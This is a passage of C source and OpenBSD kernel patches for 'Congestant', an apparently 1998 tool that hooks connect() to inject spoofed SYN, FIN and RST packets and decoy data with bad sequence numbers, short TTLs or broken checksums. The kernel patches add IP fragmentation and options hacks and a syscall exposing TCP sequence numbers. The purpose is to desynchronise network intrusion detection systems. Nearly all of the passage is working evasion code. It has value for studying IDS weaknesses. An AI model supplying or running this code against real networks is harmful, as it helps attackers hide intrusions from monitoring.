			/* attacks are only compiled in under obsd*/
		cong_config.data_chk=1;
		cong_config.fin_chk=1;
		cong_config.rst_chk=1;
		cong_config.data_ttl=1;
		cong_config.fin_ttl=1;
		cong_config.rst_ttl=1;
		cong_config.ttl=1;
	}

	cong_init=1;
}

/* This is our definition of connect */

#if (__svr4__ && __sun__)
int connect (int __fd, struct sockaddr * __addr, int __len)
#else
#if __GLIBC__ == 2
int connect __P ((int __fd,
                         __CONST_SOCKADDR_ARG __addr, socklen_t __len))
#else
int connect __P ((int __fd, const struct sockaddr * __addr, int __len))
#endif
#endif
{
	int result,nl;
	struct sockaddr_in sa;

	long from,to;
	short src,dest;

	unsigned long fakeseq=424242;
	int type=SOCK_STREAM;
	unsigned long realseq=0;
	unsigned long recvseq=0;
	int ttl=255,ttlseq;

#if __GLIBC__ == 2
	if (cong_init==0)
		cong_start();
#endif

	if (cong_init++==1)
		fprintf(stderr,"Congestant v1 by horizon loaded.\n");

/* quick hack so we dont waste time with udp connects */

#ifdef KERNELSUPPORT
#ifdef __OpenBSD__
	syscall(242,__fd,&type,&realseq,&recvseq);
#endif /* openbsd */
	if (type!=SOCK_STREAM)	
	{
		result=syscall(SYS_connect,__fd,__addr,__len);
		return result;
	}
#endif /* kernel support */
	
	nl=sizeof(sa);
	getsockname(__fd,(struct sockaddr *)&sa,&nl);
	from=sa.sin_addr.s_addr;
	src=sa.sin_port;

#if __GLIBC__ == 2
	to=__addr.__sockaddr_in__->sin_addr.s_addr;
	dest=__addr.__sockaddr_in__->sin_port;
#else
	to=((struct sockaddr_in *)__addr)->sin_addr.s_addr;
	dest=((struct sockaddr_in *)__addr)->sin_port;
#endif

	if (cong_config.one_host_attack)
	{
		cong_send_tcp(inet_addr(FAKEHOST), 
			to, 4242, dest, 0, 0,
			TH_SYN, NULL, 0, 0, 254);
		DEBUG("Spoofed Fake SYN Packet\n");
	}

	if (cong_config.syn_chk)
	{
		/* This is a potential problem that could mess up
		 * client programs. If necessary, we bind the socket 
		 * so that we can know what the source port will be
		 * prior to the connection.
		 */
		if (src==0)
		{
			bind(__fd,(struct sockaddr *)&sa,nl);
			getsockname(__fd,(struct sockaddr *)&sa,&nl);
			from=sa.sin_addr.s_addr;
			src=sa.sin_port;
		}

		cong_send_tcp(from, to, src, dest, htonl(fakeseq), 0,
			TH_SYN, NULL, 0,100, 254);
		DEBUG("Sent Pre-Connect Desynchronizing SYN.\n");
		fakeseq++;
	}

	DEBUG("Connection commencing...\n");

#ifndef __OpenBSD__
	result=cong_connect(__fd,__addr,__len);
#else /* not openbsd */
	result=syscall(SYS_connect,__fd,__addr,__len);
#endif

	if (result==-1)
	{
		if (errno!=EINPROGRESS)
			return -1;
		/* Let's only print the warning once */
		if (cong_init++==2)
			fprintf(stderr,"Warning: Non-blocking connects might not work right.\n");
	}

	/* In case an ephemeral port was assigned by connect */

	nl=sizeof(sa);
	getsockname(__fd,(struct sockaddr *)&sa,&nl);
	from=sa.sin_addr.s_addr;
	src=sa.sin_port;

	if (cong_config.syn_seq)
	{
		cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
			TH_SYN, NULL, 0, 0, 254);
		cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
			TH_SYN, NULL, 0, 0, 254);

		DEBUG("Sent Desynchronizing SYNs.\n");
	}

	if (cong_config.data_seq)
	{
		cong_send_data(from,to,src,dest,(fakeseq),0,0,254);
		DEBUG("Inserted 8K of data with incorrect sequence numbers.\n");
		fakeseq+=8*1024;
	}

	if (cong_config.fin_seq)
	{
		cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
			TH_FIN, NULL, 0, 0, 254);
		cong_send_tcp(from, to, src, dest, htonl(fakeseq++),  0,
			TH_FIN, NULL, 0, 0, 254);

		DEBUG("Spoofed FINs with incorrect sequence numbers.\n");
	}

	if (cong_config.rst_seq)
	{	
		cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
			TH_RST, NULL, 0, 0, 254);
		cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
			TH_RST, NULL, 0, 0, 254);

		DEBUG("Spoofed RSTs with incorrect sequence numbers.\n");
	}

#ifdef KERNELSUPPORT
#ifdef __OpenBSD__

	if (cong_config.ttl==1) 
		if (cong_ttl_cache!=to)
		{
			ttl=cong_find_ttl(from,to)-1;
			cong_ttl_cache=to;
			cong_ttl=ttl;
		}
		else
			ttl=cong_ttl;
	if (ttl<0) 
	{
		fprintf(stderr,"Warning: The target host is too close for a ttl attack.\n");
		cong_config.data_ttl=0;	
		cong_config.fin_ttl=0;	
		cong_config.rst_ttl=0;	
		ttl=0;
	}

	syscall(242,__fd,&type,&realseq,&recvseq);
	ttlseq=realseq;

#endif /*openbsd */

	if (cong_config.data_ttl)
	{
		cong_send_data(from,to,src,dest,(ttlseq),recvseq,0,ttl);
		DEBUG("Inserted 8K of data with short ttl.\n");
		ttlseq+=1024*8;
	}

	if (cong_config.fin_ttl)
	{
		cong_send_tcp(from, to, src, dest, htonl(ttlseq++), 
			htonl(recvseq),TH_FIN, NULL, 0, 0, ttl); 
		cong_send_tcp(from, to, src, dest, htonl(ttlseq++), 
			htonl(recvseq),TH_FIN, NULL, 0, 0, ttl); 
		DEBUG("Spoofed FINs with short ttl.\n");
	}

	if (cong_config.rst_ttl)
	{
		cong_send_tcp(from, to, src, dest, htonl(ttlseq++),
			htonl(recvseq),TH_RST, NULL, 0, 0, ttl);
		cong_send_tcp(from, to, src, dest, htonl(ttlseq++),
			htonl(recvseq),TH_RST, NULL, 0, 0, ttl);
		DEBUG("Spoofed RSTs with short ttl.\n");
	}

	if (cong_config.data_chk)
	{
		cong_send_data(from,to,src,dest,(realseq),recvseq,100,254);
		DEBUG("Inserted 8K of data with incorrect TCP checksums.\n");
		realseq+=1024*8;
	}

	if (cong_config.fin_chk)
	{
		cong_send_tcp(from, to, src, dest, htonl(realseq++), 
			htonl(recvseq),TH_FIN, NULL, 0, 100, 254); 
		cong_send_tcp(from, to, src, dest, htonl(realseq++), 
			htonl(recvseq),TH_FIN, NULL, 0, 100, 254); 
		DEBUG("Spoofed FINs with incorrect TCP checksums.\n");
	}

	if (cong_config.rst_chk)
	{
		cong_send_tcp(from, to, src, dest, htonl(realseq++),
			htonl(recvseq),TH_RST, NULL, 0, 100, 254);
		cong_send_tcp(from, to, src, dest, htonl(realseq++),
			htonl(recvseq),TH_RST, NULL, 0, 100, 254);
		DEBUG("Spoofed RSTs with incorrect TCP checksums.\n");
	}

#endif /* kernel support */

	return result;
}
<-->
<++> congestant/netinet.patch
Common subdirectories: /usr/src/sys.2.4.orig/netinet/CVS and netinet/CVS
diff -u /usr/src/sys.2.4.orig/netinet/in.h netinet/in.h
--- /usr/src/sys.2.4.orig/netinet/in.h	Tue Dec  8 10:32:38 1998
+++ netinet/in.h	Tue Dec  8 10:48:33 1998
@@ -325,7 +325,10 @@
 #define IPCTL_IPPORT_LASTAUTO	8
 #define IPCTL_IPPORT_HIFIRSTAUTO 9
 #define IPCTL_IPPORT_HILASTAUTO	10
-#define	IPCTL_MAXID		11
+#define IPCTL_FRAG_HACK_HEAD	11
+#define IPCTL_FRAG_HACK_BODY	12
+#define IPCTL_OPTIONS_HACK	13
+#define	IPCTL_MAXID		14
 
 #define	IPCTL_NAMES { \
 	{ 0, 0 }, \
@@ -339,6 +342,9 @@
 	{ "portlast", CTLTYPE_INT }, \
 	{ "porthifirst", CTLTYPE_INT }, \
 	{ "porthilast", CTLTYPE_INT }, \
+	{ "fraghackhead", CTLTYPE_INT }, \
+	{ "fraghackbody", CTLTYPE_INT }, \
+	{ "optionshack", CTLTYPE_INT }, \
 }
 
 #ifndef _KERNEL
diff -u /usr/src/sys.2.4.orig/netinet/ip_input.c netinet/ip_input.c
--- /usr/src/sys.2.4.orig/netinet/ip_input.c	Tue Dec  8 10:32:41 1998
+++ netinet/ip_input.c	Tue Dec  8 10:48:33 1998
@@ -106,6 +106,10 @@
 extern int ipport_hilastauto;
 extern struct baddynamicports baddynamicports;
 
+extern int ip_fraghackhead;
+extern int ip_fraghackbody;
+extern int ip_optionshack;
+
 extern	struct domain inetdomain;
 extern	struct protosw inetsw[];
 u_char	ip_protox[IPPROTO_MAX];
@@ -1314,6 +1318,15 @@
 	case IPCTL_IPPORT_HILASTAUTO:
 		return (sysctl_int(oldp, oldlenp, newp, newlen,
 		    &ipport_hilastauto));
+	case IPCTL_FRAG_HACK_HEAD:
+		return (sysctl_int(oldp, oldlenp, newp, newlen,
+		    &ip_fraghackhead));
+	case IPCTL_FRAG_HACK_BODY:
+		return (sysctl_int(oldp, oldlenp, newp, newlen,
+		    &ip_fraghackbody));
+	case IPCTL_OPTIONS_HACK:
+		return (sysctl_int(oldp, oldlenp, newp, newlen,
+		    &ip_optionshack));
 	default:
 		return (EOPNOTSUPP);
 	}
diff -u /usr/src/sys.2.4.orig/netinet/ip_output.c netinet/ip_output.c
--- /usr/src/sys.2.4.orig/netinet/ip_output.c	Tue Dec  8 10:32:43 1998
+++ netinet/ip_output.c	Tue Dec  8 11:00:14 1998
@@ -88,6 +88,10 @@
 extern int ipsec_esp_network_default_level;
 #endif
 
+int ip_fraghackhead=0;
+int ip_fraghackbody=0;
+int ip_optionshack=0;
+
 /*
  * IP output.  The packet in mbuf chain m contains a skeletal IP
  * header (with len, off, ttl, proto, tos, src, dst).
@@ -124,6 +128,9 @@
 	struct inpcb *inp;
 #endif
 
+	/* HACK */
+	int fakeheadmtu;
+
 	va_start(ap, m0);
 	opt = va_arg(ap, struct mbuf *);
 	ro = va_arg(ap, struct route *);
@@ -144,7 +151,50 @@
 		m = ip_insertoptions(m, opt, &len);
 		hlen = len;
 	}
+	/* HACK */
+	else if (ip_optionshack && !(flags & (IP_RAWOUTPUT|IP_FORWARDING)))
+	{
+		struct mbuf *n=NULL;
+		register struct ip* ip= mtod(m, struct ip*);
+
+		if (m->m_flags & M_EXT || m->m_data - 40 < m->m_pktdat) 
+		{
+			MGETHDR(n, M_DONTWAIT, MT_HEADER);
+			if (n)
+			{
+				n->m_pkthdr.len = m->m_pkthdr.len + 40;
+				m->m_len -= sizeof(struct ip);
+				m->m_data += sizeof(struct ip);
+				n->m_next = m;
+				m = n;
+				m->m_len = 40 + sizeof(struct ip);
+				m->m_data += max_linkhdr;
+				bcopy((caddr_t)ip, mtod(m, caddr_t), 
+					sizeof(struct ip));
+			}
+		} 
+		else 
+		{
+			m->m_data -= 40;
+			m->m_len += 40;
+			m->m_pkthdr.len += 40;
+			ovbcopy((caddr_t)ip, mtod(m, caddr_t), 
+				sizeof(struct ip));
+			n++; /* make n!=0 */
+		}
+		if (n!=0)
+		{
+			ip = mtod(m, struct ip *);
+			memset((caddr_t)(ip+1),0,40);
+			ip->ip_len += 40;
+
+			hlen=60;
+			len=60;	
+		}
+	}
+
 	ip = mtod(m, struct ip *);
+
 	/*
 	 * Fill in IP header.
 	 */
@@ -721,7 +771,15 @@
 	/*
 	 * If small enough for interface, can just send directly.
 	 */
-	if ((u_int16_t)ip->ip_len <= ifp->if_mtu) {
+
+	/* HACK */
+
+	fakeheadmtu=ifp->if_mtu;
+
+	if ((ip_fraghackhead) && !(flags & (IP_RAWOUTPUT|IP_FORWARDING)))
+		fakeheadmtu=ip_fraghackhead;
+
+	if ((u_int16_t)ip->ip_len <= fakeheadmtu/*ifp->if_mtu*/) {
 		ip->ip_len = htons((u_int16_t)ip->ip_len);
 		ip->ip_off = htons((u_int16_t)ip->ip_off);
 		ip->ip_sum = 0;
@@ -738,7 +796,10 @@
 		ipstat.ips_cantfrag++;
 		goto bad;
 	}
-	len = (ifp->if_mtu - hlen) &~ 7;
+
+/* HACK */
+
+	len = (/*ifp->if_mtu*/fakeheadmtu - hlen) &~ 7;
 	if (len < 8) {
 		error = EMSGSIZE;
 		goto bad;
@@ -748,6 +809,9 @@
 	int mhlen, firstlen = len;
 	struct mbuf **mnext = &m->m_nextpkt;
 
+	/*HACK*/
+	int first=0;
+
 	/*
 	 * Loop through length of segment after first fragment,
 	 * make new header and copy data of each part and link onto chain.
@@ -755,7 +819,9 @@
 	m0 = m;
 	mhlen = sizeof (struct ip);
 	for (off = hlen + len; off < (u_int16_t)ip->ip_len; off += len) {
-		MGETHDR(m, M_DONTWAIT, MT_HEADER);
+		if (first && ip_fraghackbody)
+			len=(ip_fraghackbody-hlen) &~7;
+		MGETHDR(m,  M_DONTWAIT, MT_HEADER);
 		if (m == 0) {
 			error = ENOBUFS;
 			ipstat.ips_odropped++;
@@ -791,6 +857,7 @@
 		mhip->ip_sum = 0;
 		mhip->ip_sum = in_cksum(m, mhlen);
 		ipstat.ips_ofragments++;
+		first=1;
 	}
 	/*
 	 * Update first fragment by trimming what's been copied out
Common subdirectories: /usr/src/sys.2.4.orig/netinet/libdeslite and netinet/libdeslite
diff -u /usr/src/sys.2.4.orig/netinet/tcp_subr.c netinet/tcp_subr.c
--- /usr/src/sys.2.4.orig/netinet/tcp_subr.c	Tue Dec  8 10:32:45 1998
+++ netinet/tcp_subr.c	Tue Dec  8 10:48:33 1998
@@ -465,3 +465,18 @@
 	if (tp)
 		tp->snd_cwnd = tp->t_maxseg;
 }
+
+/* HACK - This is a tcp subroutine added to grab the sequence numbers */
+
+void tcp_getseq(struct socket *so, struct mbuf *m)
+{
+	struct inpcb *inp;
+	struct tcpcb *tp;
+
+	if ((inp=sotoinpcb(so)) && (tp=intotcpcb(inp)))
+	{
+		m->m_len=sizeof(unsigned long)*2;
+		*(mtod(m,unsigned long *))=tp->snd_nxt;
+		*((mtod(m,unsigned long *))+1)=tp->rcv_nxt;
+	}
+}
diff -u /usr/src/sys.2.4.orig/netinet/tcp_usrreq.c netinet/tcp_usrreq.c
--- /usr/src/sys.2.4.orig/netinet/tcp_usrreq.c	Tue Dec  8 10:32:45 1998
+++ netinet/tcp_usrreq.c	Tue Dec  8 10:48:33 1998
@@ -363,6 +363,10 @@
 		in_setsockaddr(inp, nam);
 		break;
 
+	case PRU_SOCKINFO:
+		tcp_getseq(so,m);
+		break;
+
 	case PRU_PEERADDR:
 		in_setpeeraddr(inp, nam);
 		break;
diff -u /usr/src/sys.2.4.orig/netinet/tcp_var.h netinet/tcp_var.h
--- /usr/src/sys.2.4.orig/netinet/tcp_var.h	Tue Dec  8 10:32:45 1998
+++ netinet/tcp_var.h	Tue Dec  8 10:48:34 1998
@@ -291,6 +291,8 @@
 void	 tcp_pulloutofband __P((struct socket *,
 	    struct tcpiphdr *, struct mbuf *));
 void	 tcp_quench __P((struct inpcb *, int));
+/*HACK*/
+void	 tcp_getseq __P((struct socket *, struct mbuf *));
 int	 tcp_reass __P((struct tcpcb *, struct tcpiphdr *, struct mbuf *));
 void	 tcp_respond __P((struct tcpcb *,
 	    struct tcpiphdr *, struct mbuf *, tcp_seq, tcp_seq, int));
<-->
<++> congestant/kern.patch
--- /usr/src/sys.2.4.orig/kern/uipc_syscalls.c	Thu Dec  3 11:00:01 1998
+++ kern/uipc_syscalls.c	Thu Dec  3 11:13:44 1998
@@ -924,6 +924,53 @@
 }
 
 /*
+ * Get socket information.  HACK 
+ */
+
+/* ARGSUSED */
+int
+sys_getsockinfo(p, v, retval)
+	struct proc *p;
+	void *v;
+	register_t *retval;
+{
+	register struct sys_getsockinfo_args /* {
+		syscallarg(int) fdes;
+		syscallarg(int *) type;
+		syscallarg(int *) seq;
+		syscallarg(int *) ack;
+	} */ *uap = v;
+	struct file *fp;
+	register struct socket *so;
+	struct mbuf *m;
+	int error;
+
+	if ((error = getsock(p->p_fd, SCARG(uap, fdes), &fp)) != 0)
+		return (error);
+
+	so = (struct socket *)fp->f_data;
+
+	error = copyout((caddr_t)&(so->so_type), (caddr_t)SCARG(uap, type), (u_int)sizeof(short));
+
+	if (!error && (so->so_type==SOCK_STREAM))
+	{
+		m = m_getclr(M_WAIT, MT_DATA);
+		if (m == NULL)
+			return (ENOBUFS);
+
+		error = (*so->so_proto->pr_usrreq)(so, PRU_SOCKINFO, m, 0, 0);
+
+		if (!error)
+			error = copyout(mtod(m,caddr_t), (caddr_t)SCARG(uap, seq), (u_int)sizeof(long));
+		if (!error)
+			error = copyout(mtod(m,caddr_t)+sizeof(long), (caddr_t)SCARG(uap, ack), (u_int)sizeof(long));
+		m_freem(m);
+	}
+
+	return error;
+}
+
+/*
  * Get name of peer for connected socket.
  */
 /* ARGSUSED */
--- /usr/src/sys.2.4.orig/kern/syscalls.master	Thu Dec  3 11:00:00 1998
+++ kern/syscalls.master	Thu Dec  3 11:14:44 1998
@@ -476,7 +476,8 @@
 240	STD		{ int sys_nanosleep(const struct timespec *rqtp, \
 			    struct timespec *rmtp); }
 241	UNIMPL
-242	UNIMPL
+242	STD		{ int sys_getsockinfo(int fdes, int *type, \
+			    int *seq, int *ack); }
 243	UNIMPL
 244	UNIMPL
 245	UNIMPL
<-->
<++> congestant/sys.patch
--- /usr/src/sys.2.4.orig/sys/protosw.h	Thu Dec  3 11:00:39 1998
+++ sys/protosw.h	Thu Dec  3 11:16:41 1998
@@ -148,8 +148,8 @@
 #define	PRU_SLOWTIMO		19	/* 500ms timeout */
 #define	PRU_PROTORCV		20	/* receive from below */
 #define	PRU_PROTOSEND		21	/* send to below */
-
-#define	PRU_NREQ		21
+#define PRU_SOCKINFO		22
+#define	PRU_NREQ		22
 
 #ifdef PRUREQUESTS
 char *prurequests[] = {
@@ -158,7 +158,7 @@
 	"RCVD",		"SEND",		"ABORT",	"CONTROL",
 	"SENSE",	"RCVOOB",	"SENDOOB",	"SOCKADDR",
 	"PEERADDR",	"CONNECT2",	"FASTTIMO",	"SLOWTIMO",
-	"PROTORCV",	"PROTOSEND",
+	"PROTORCV",	"PROTOSEND", 	"SOCKINFO",
 };
 #endif
<-->

----[  EOF